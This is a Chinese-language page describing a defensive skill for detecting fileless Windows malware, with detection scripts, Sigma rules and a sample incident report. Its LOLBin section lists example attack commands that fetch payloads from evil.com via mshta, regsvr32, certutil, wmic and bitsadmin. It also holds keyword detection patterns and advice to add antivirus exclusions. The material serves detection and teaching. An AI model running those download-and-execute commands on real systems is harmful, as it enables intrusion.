关于 detecting-fileless-malware-techniques
此防御型安全技能用于调查 Windows 系统中的无文件恶意软件,涵盖 LOLBin、WMI 和注册表持久化检测、内存分析及检测规则编写。
主要功能
- 01检测 LOLBin 滥用
- 02检查 WMI 持久化
- 03查找驻留注册表的载荷
- 04分析内存痕迹
- 05编写 Sigma 检测规则
适用场景
- 01调查可疑 PowerShell 活动
- 02分析基于 WMI 的持久化
- 03排查磁盘上无文件的恶意软件
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill detecting-fileless-malware-techniques安装后在 Claude Code 中输入/detecting-fileless-malware-techniques确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdyara-fileless-powershell.yarscripts/agent.py详细介绍
检测无文件恶意软件技术
何时使用
- EDR 告警显示来自受信任系统二进制文件(PowerShell、mshta、wmic、regsvr32)的可疑行为
- 调查未在磁盘上留下传统恶意软件文件的攻击
- 分析 WMI 事件订阅、注册表存储的载荷或计划任务滥用以获取持久化
- 为企业环境中的 LOLBin(Living Off the Land Binary,就地取材二进制文件)滥用构建检测规则
- 内存取证发现恶意代码,但文件系统上不存在相应文件
不要用于传统的基于文件的恶意软件;对于磁盘驻留恶意软件,标准的静态和动态分析方法更为合适。
Windows Defender / 防病毒误报
某些终端防病毒产品——尤其是 Windows Defender(特征 Trojan:script/Wacatac.H!ml)——可能会将此技能的 SKILL.md 隔离为恶意文件。这是一个已知的误报:该文件有意记录了无文件攻击模式(LOLBins、编码的 PowerShell、内存 YARA 指标)用于防御性检测和调查。内容仅供教育用途;它不会执行代码。
如果被隔离: 从隔离区恢复该文件,为你的本地 Agent 技能目录添加排除项,并查看 GitHub issue #100 参与讨论。YARA 字符串位于 references/yara-fileless-powershell.yar(不在本文件中内联),以减少扫描器触发,同时为分析师保留规则。
前置条件
- 已安装并配置 Sysmon,并启用全面日志记录(进程创建、WMI 事件、注册表更改)
- 已启用 PowerShell Script Block Logging 和 Module Logging
- 用于无文件恶意软件工件内存取证的 Volatility 3
- 用于实时系统活动监控的 Process Monitor(ProcMon)
- 具有足够保留策略的 Windows 事件日志访问权限
- 用于识别持久化机制的 Autoruns
工作流
第 1 步:识别 LOLBin 使用
检测对合法 Windows 二进制文件的恶意滥用:
Commonly Abused LOLBins and Detection Patterns:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
mshta.exe:
Abuse: Execute HTA files with embedded VBScript/JScript
Example: mshta http://evil.com/payload.hta
Example: mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -enc ...""")
Detect: mshta.exe with URL argument or vbscript: prefix
regsvr32.exe:
Abuse: Load scriptlets via COM (.sct files) - "Squiblydoo"
Example: regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Detect: regsvr32.exe with /i: URL parameter
certutil.exe:
Abuse: Download files, decode Base64
Example: certutil -urlcache -split -f http://evil.com/payload.exe
Example: certutil -decode encoded.txt payload.exe
Detect: certutil.exe with -urlcache or -decode arguments
rundll32.exe:
Abuse: Execute DLL functions, JavaScript
Example: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";...
Detect: rundll32.exe with javascript: argument
wmic.exe:
Abuse: Execute code via XSL stylesheets
Example: wmic process get brief /format:"http://evil.com/payload.xsl"
Detect: wmic.exe with /format: URL parameter
bitsadmin.exe:
Abuse: Download files via BITS
Example: bitsadmin /transfer job http://evil.com/payload.exe C:\Temp\p.exe
Detect: bitsadmin.exe with /transfer or /addfile to external URL
cmstp.exe:
Abuse: Execute commands via INF file
Example: cmstp.exe /ni /s payload.inf
Detect: cmstp.exe execution from non-standard locations
第 2 步:检测基于 WMI 的持久化
分析用于无文件持久化的 WMI 事件订阅:
# List WMI event subscriptions (filters, consumers, bindings)
wmic /namespace:"\\root\subscription" path __EventFilter get Name,Query /format:list
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer get Name,CommandLineTemplate /format:list
wmic /namespace:"\\root\subscription" path ActiveScriptEventConsumer get Name,ScriptText /format:list
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding get Filter,Consumer /format:list
# PowerShell enumeration of WMI subscriptions
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer
Get-WMIObject -Namespace root\Subscription -Class ActiveScriptEventConsumer
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
# Parse Sysmon WMI events (Event IDs 19, 20, 21)
import subprocess
import xml.etree.ElementTree as ET
# WMI Event Filter creation (EID 19)
result = subprocess.run(
["wevtutil", "qe", "Microsoft-Windows-Sysmon/Operational",
"/q:*[System[EventID=19 or EventID=20 or EventID=21]]", "/f:xml", "/c:50"],
capture_output=True, text=True
)
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
for event_xml in result.stdout.split("</Event>"):
if not event_xml.strip():
continue
try:
root = ET.fromstring(event_xml + "</Event>")
eid = root.find(".//e:System/e:EventID", ns).text
data = {}
for d in root.findall(".//e:EventData/e:Data", ns):
data[d.get("Name")] = d.text
if eid == "19":
print(f"[!] WMI Filter Created: {data.get('Name')}")
print(f" Query: {data.get('Query')}")
elif eid == "20":
print(f"[!] WMI Consumer Created: {data.get('Name')}")
print(f" Type: {data.get('Type')}")
print(f" Destination: {data.get('Destination')}")
elif eid == "21":
print(f"[!] WMI Binding Created")
print(f" Consumer: {data.get('Consumer')}")
print(f" Filter: {data.get('Filter')}")
except:
pass
第 3 步:检测注册表驻留载荷
查找存储在 Windows 注册表中的恶意代码:
# Common registry locations for fileless payloads
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /s
reg query "HKCU\Environment" /s
# Check for PowerShell encoded commands in registry values
# Malware stores Base64-encoded payloads in custom registry keys
reg query "HKCU\Software" /s /f "powershell" 2>nul
reg query "HKCU\Software" /s /f "-enc" 2>nul
# Check for large registry values (possible stored payloads)
python3 << 'PYEOF'
import winreg
import base64
suspicious_keys = [
(winreg.HKEY_CURRENT_USER, r"Software"),
(winreg.HKEY_LOCAL_MACHINE, r"Software"),
]
def scan_registry(hive, path, depth=0):
if depth > 3:
return
try:
key = winreg.OpenKey(hive, path)
i = 0
while True:
try:
name, value, vtype = winreg.EnumValue(key, i)
if isinstance(value, str) and len(value) > 500:
# Check for Base64-encoded content
try:
decoded = base64.b64decode(value[:100])
print(f"[!] Large Base64 value: {path}\\{name} ({len(value)} bytes)")
except:
pass
# Check for PowerShell keywords
if any(kw in value.lower() for kw in ["powershell", "invoke", "iex", "-enc"]):
print(f"[!] PowerShell in registry: {path}\\{name}")
i += 1
except WindowsError:
break
# Recurse into subkeys
j = 0
while True:
try:
subkey = winreg.EnumKey(key, j)
scan_registry(hive, f"{path}\\{subkey}", depth + 1)
j += 1
except WindowsError:
break
except:
pass
for hive, path in suspicious_keys:
scan_registry(hive, path)
PYEOF
第 4 步:分析内存中的无文件工件
使用内存取证查找仅存在于内存中的恶意软件:
# Process with injected code (no backing file)
vol3 -f memory.dmp windows.malfind
# Check for .NET assemblies loaded from memory (not from disk files)
vol3 -f memory.dmp windows.vadinfo --pid 4012 | grep -i "PAGE_EXECUTE"
# PowerShell CLR usage (indicates .NET reflection loading)
vol3 -f memory.dmp windows.cmdline | grep -i "powershell"
# Scan for known fileless frameworks
# YARA rule lives in references/yara-fileless-powershell.yar (kept separate to reduce AV false positives)
vol3 -f memory.dmp yarascan.YaraScan --yara-file /path/to/yara-fileless-powershell.yar
# Extract PowerShell command history from memory
vol3 -f memory.dmp windows.cmdline
# Search memory strings for common fileless indicators (encoded commands, cradles, reflection)
strings memory.dmp | grep -iE 'encodedcommand|downloadstring|invoke-expression|\.reflection\.'
第 5 步:构建全面的检测规则
为无文件技术创建检测内容:
# Sigma rule: LOLBin execution with network activity
title: Suspicious LOLBin Execution with Network Arguments
logsource:
category: process_creation
product: windows
detection:
selection_mshta:
Image|endswith: '\mshta.exe'
CommandLine|contains:
- 'http'
- 'vbscript:'
- 'javascript:'
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains:
- '-urlcache'
- '-decode'
selection_regsvr32:
Image|endswith: '\regsvr32.exe'
CommandLine|contains: '/i:http'
selection_wmic:
Image|endswith: '\wmic.exe'
CommandLine|contains: '/format:http'
condition: selection_mshta or selection_certutil or selection_regsvr32 or selection_wmic
level: high
# Sigma rule: WMI persistence creation
title: WMI Event Subscription for Persistence
logsource:
product: windows
service: sysmon
detection:
selection:
EventID:
- 19 # WMI EventFilter
- 20 # WMI EventConsumer
- 21 # WMI FilterConsumerBinding
condition: selection
level: medium
第 6 步:记录无文件攻击链
映射完整的无文件攻击生命周期:
Typical Fileless Attack Chain:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Phase 1 - Initial Access:
Email -> Macro -> mshta.exe/PowerShell (LOLBin abuse)
OR Web exploit -> regsvr32/certutil (scriptlet download)
Phase 2 - Execution:
PowerShell downloads and executes script in memory
.NET Assembly.Load() for reflective loading
WMI process creation for lateral movement
Phase 3 - Persistence:
WMI event subscription (survives reboots)
Registry-stored encoded payload (loaded by Run key)
Scheduled task executing inline PowerShell
Phase 4 - Privilege Escalation:
PowerShell with Invoke-Mimikatz (in-memory credential theft)
Named pipe impersonation via WMI
Phase 5 - Lateral Movement:
WMI remote process creation (no file transfer needed)
PowerShell remoting (WinRM)
PsExec via WMI
Phase 6 - Exfiltration:
PowerShell HTTP POST to C2
DNS tunneling via Invoke-DNSExfiltration
Cloud storage API (OneDrive, Google Drive)
关键概念
| 术语 | 定义 |
|---|---|
| 无文件恶意软件 | 完全在内存中或合法系统工具内运行,不在磁盘上创建传统可执行文件的恶意软件 |
| LOLBins(Living Off the Land Binaries) | 攻击者滥用的合法系统二进制文件(mshta、regsvr32、certutil),用于执行恶意代码同时规避应用程序白名单 |
| WMI 事件订阅 | Windows Management Instrumentation 持久化机制,使用事件筛选器、消费程序和绑定在系统事件上执行代码 |
| 注册表驻留载荷 | 以编码数据形式存储在 Windows 注册表值中的恶意代码,由 Run 键中的小型存根加载并执行 |
| 反射加载 | 使用 Assembly.Load() 从内存中的字节数组加载 .NET 程序集或 PE 文件,而不写入磁盘 |
| 内存中执行 | 直接在 RAM 中运行代码而不创建文件,利用进程注入、反射加载或脚本解释器 |
| Script Block Logging | Windows PowerShell 日志记录功能(事件 ID 4104),在反混淆后捕获脚本内容,对于无文件威胁可见性至关重要 |
工具与资源
- Sysmon:系统监视器,提供进程创建、WMI 事件、注册表和网络连接的详细日志记录
- Autoruns:Sysinternals 工具,显示所有自启动位置,包括 WMI 订阅、计划任务和注册表项
- Volatility:内存取证框架,用于检测内存中的代码、注入进程和无文件恶意软件痕迹
- Process Monitor:实时监控文件系统、注册表和进程活动,用于观察无文件攻击行为
- LOLBAS Project:社区维护的 LOLBin 滥用技术目录,位于 https://lolbas-project.github.io/
常见场景
场景:使用 WMI 持久化调查无文件攻击
背景:Sysmon 告警显示创建了 WMI 事件订阅,随后定期执行 PowerShell,而磁盘上没有任何对应的恶意软件文件。该攻击在重启后仍然持续存在。
方法:
- 查询 WMI 命名空间中的事件筛选器、使用者和绑定,以识别持久化机制
- 提取 CommandLineEventConsumer 或 ActiveScriptEventConsumer 载荷
- 解码 PowerShell 命令(通常使用 -enc 标志进行 Base64 编码)
- 在脚本块日志记录(事件 ID 4104)中追踪 PowerShell 执行,获取完整的去混淆载荷
- 分析内存转储,查找反射加载的程序集和注入的代码
- 检查注册表中 PowerShell 脚本引用的其他存储载荷
- 映射从初始访问到持久化和横向移动的完整攻击链
陷阱:
- 事件发生前未启用 Sysmon WMI 事件日志记录(事件 19/20/21)
- 在捕获内存转储之前重启系统(会破坏内存中的证据)
- 当攻击完全无文件时,仅关注基于文件的 IOC
- 由于 LOLBin 执行留下的痕迹极少,而遗漏初始访问途径
输出格式
FILELESS MALWARE ANALYSIS REPORT
===================================
Incident: INC-2025-2847
Attack Type: Fileless (no malware files on disk)
INITIAL ACCESS
Vector: Phishing email with macro-enabled document
LOLBin Chain: WINWORD.EXE -> mshta.exe -> powershell.exe
PERSISTENCE MECHANISM
Type: WMI Event Subscription
Filter Name: WindowsUpdateCheck
Filter Query: SELECT * FROM __InstanceModificationEvent WITHIN 300
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Consumer: CommandLineEventConsumer
Command: powershell.exe -nop -w hidden -enc <BASE64_UTF16LE_PAYLOAD>
DECODED PAYLOAD
[Layer 1] Base64 UTF-16LE decode
[Layer 2] AMSI bypass + Assembly.Load() of embedded .NET payload
[Layer 3] .NET RAT with C2 communication to 185.220.101[.]42
REGISTRY PAYLOADS
HKCU\Software\AppDataLow\Config\data = [Base64 encoded .NET assembly, 247KB]
Loaded by: PowerShell WMI consumer script
MEMORY ARTIFACTS
PID 4012 (powershell.exe): Injected .NET assembly at 0x00400000
- CobaltStrike beacon detected via YARA
- C2: hxxps://185.220.101[.]42/updates
EXTRACTED IOCs
C2 IP: 185.220.101[.]42
WMI Filter: WindowsUpdateCheck
Registry Path: HKCU\Software\AppDataLow\Config\data
PowerShell Flags: -nop -w hidden -enc
MITRE ATT&CK
T1059.001 PowerShell
T1546.003 WMI Event Subscription
T1218.005 Mshta
T1112 Modify Registry
T1055.012 Process Hollowing
评论
支持 Markdown